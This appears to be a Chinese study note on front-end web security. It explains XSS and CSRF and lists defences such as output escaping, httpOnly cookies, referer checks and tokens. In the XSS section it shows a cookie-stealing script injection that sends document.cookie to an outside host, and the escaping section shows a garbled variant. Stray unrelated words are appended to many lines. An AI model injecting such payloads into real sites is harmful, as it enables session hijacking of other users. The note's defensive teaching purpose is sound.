前端安全

(理解请看浅谈WEB安全性(前端向))
javascript

看过文章 对web安全有了理解。在针对这个课题,简单陈述。php

安全的问题大多数仍是依赖与后台的过滤和拦截措施。css

防范措施也就是编写前台代码时要避免的地方html

有两种常见的攻击方式前端

一、XSS:跨站脚本攻击java

      xss也就是 cross site scriting攻击为了区分css缩写采用了xss缩写 跨站脚本攻击mysql

      也就是javascript代码注入简单理解就是往他人web页面里插入恶意的script代码。web

b.com/search?name=
<script>document.location='http://vajoy/get?cookie='+document.cookie</script>复制代码


对于XSS的预防天然也是对提交数据的过滤,另外还有一点——谨慎返回用户提交的内容!sql

  1. 过滤转义输入输出
  2. 避免使用evalnew Function等执行字符串的方法,除非肯定字符串和用户输入无关
  3. 使用cookie的httpOnly属性,加上了这个属性的cookie字段,js是没法进行读写的
  4. 使用innerHTML、document.write的时候,若是数据是用户输入的,那么须要对象关键字符进行过滤与转义

二、CSRF:跨站请求伪造数据库

CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,一般缩写为CSRF或者XSRF,是一种对网站的恶意利用。

其实就是网站中的一些提交行为,被黑客利用,在你访问黑客的网站的时候进行操做,会被操做到其余网站上
CSRF防护措施:

  1. 检测http referer是不是同域名
  2. 避免登陆的session长时间存储在客户端中
  3. 关键请求使用验证码或者token机制


其余的一些攻击方法还有HTTP劫持、界面操做劫持


资源

百度百科XSS

百度百科CSRF

浅谈WEB安全性(前端向)

题0

如何过滤输入输出

一、php安全编程之过滤用户输入和输出转义

      (1)经过函数mysqli_real_escape_string()过滤对数据库有影响的字符串,避免sql注入。

      (2)经过函数htmlspecialchars和htmlentities前者用来转义&,>,<等字符,后者是转义全部html标签,避免XSS攻击。

例如:<script>this.document = 某个网站地址?+this.cookie</script> 转义后会变成 &lt;script&gt;this.document = 某个网站地址?+this.cookie&lt;/script&gt;


二、js过滤转义输入输出    要研究一下

前端转义(这个感受不是太好 输出的时候仍是要过来)

function stringEncode(str){
    var div=document.createElement('div');
    if(div.innerText){
        div.innerText=str;
    }else{
        div.textContent=str;//Support firefox
    }
    return div.innerHTML;
}

相关文章
相关标签/搜索